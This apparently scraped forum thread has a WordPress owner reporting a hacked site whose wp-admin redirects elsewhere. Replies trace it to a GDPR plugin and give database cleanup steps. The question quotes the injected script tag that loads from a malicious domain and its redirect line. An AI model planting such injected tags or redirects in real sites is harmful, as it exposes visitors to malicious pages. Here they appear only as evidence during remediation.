Home > Mobile >  Wp-admin redirect by hack
Wp-admin redirect by hack

Time:09-24

one of my WordPress projects has been attacked and when I try to load the wp-admin page will be redirected to another website with a weird domain. after check the source code from the page view source I saw all script and link tags replaced with custom tags with the same src.

this is the script tag: <script type='text/javascript' src='https://storage.piterreceiver.ga/gonext/?step=1&#038;/wp-includes/js/jquery/jquery_min_js&#038;ver=3.5.1' id='jquery-core-js'></script>

and in the script I found a redirect script: var b = 0;document.location.href='https://store.piterreceiver.ga/Ld5WGw';

Could you please help me to find a solution to remove all these tags?

CodePudding user response:

I recommend to rewrite affected files by the files from clean/original Wordpress (be sure you using the same version of the WP)

CodePudding user response:

We found this script in the WP DSGVO Tools (GDPR) Plugin by legalweb and in the Rewrite rules by YOAST SEO. But not all systems with this plugins are corupted.

Affected are mainly pages that have been updated in the last few days.

A backup of the database is sufficient. Nevertheless, it should be determined how the intervention in the page came about.

CodePudding user response:

We discovered the behaviour on several of our sites aswell, the culprit seems to be the DSGVO Plugin offered by legalweb.io.

The plugin developer has been informed and the best solution was to clean the _options from the malware code and disabled the plugin.

CodePudding user response:

We saw the same behaviour on our sites and I can confirm the DSGVO plugin is the culprit. Somehow the Matomo/Google Analytics tracking codes were overwritten with the malicious redirect.

I just talked to legalweb and they confirmed that this is the underlying issue - they are working on an update but didn't want to share how the attack was performed. Disabling the plugin and looking for the redirect url in the database solved the issue.

CodePudding user response:

I found the same on one of my sites and could not identify any malware in the files, however, the "site URL" and "home" in "_options" table was altered and I suspect a SQL injection to have been the culprit here. None of my malware tools could identify anything at the filesystem level so it appears to be some sort of 0day exploit as I cannot find anything similar. I've ensured that everything is updated and will monitor my site further, but a starting point would be to determine if there are any outdated plugins or themes that may suffer from a vulnerability and if yes then a more difficult task would be to identify which. I am looking through my logs now and will update this thread if I find anything.

CodePudding user response:

I have just managed to restore back a website that was affected by this. My fix was to search the database for storage.piterreceiver.ga and when found, replace it with the actual site's URL. i found two entries that needed to be amended. once that was done, i was able to get back in to Wordpress as usual.

CodePudding user response:

Thanks to @Jesmond Darmanin i found the the solution how to fix that. He described to delete all occurances of "piterreceiver" in the database. You can do that in this way:

  1. Connect to your wordpress instance with SSH
  2. Go to your wordpress directory
  3. Execute wp db search --all-tables piterreceiver
  4. Execute wp db query <<< "delete from <table> where <id> = 123456"

Be carefully, this is the "crowbar" method. Just do that, when you are absolutely sure, that the returned value is not needed anymore (which was the case in my installation < lucky guy).

CodePudding user response:

As already mentioned, the problem is about the plugin WP DSGVO Tools (GDPR) and in our case, the database entry could also be deleted in the backend, by navigating to /wp-admin/admin.php?page=sp-dsgvo&tab=statistic-integrations > Matomo > Use Matomo (off) or removing the content from the field "Matomo code".

  • Related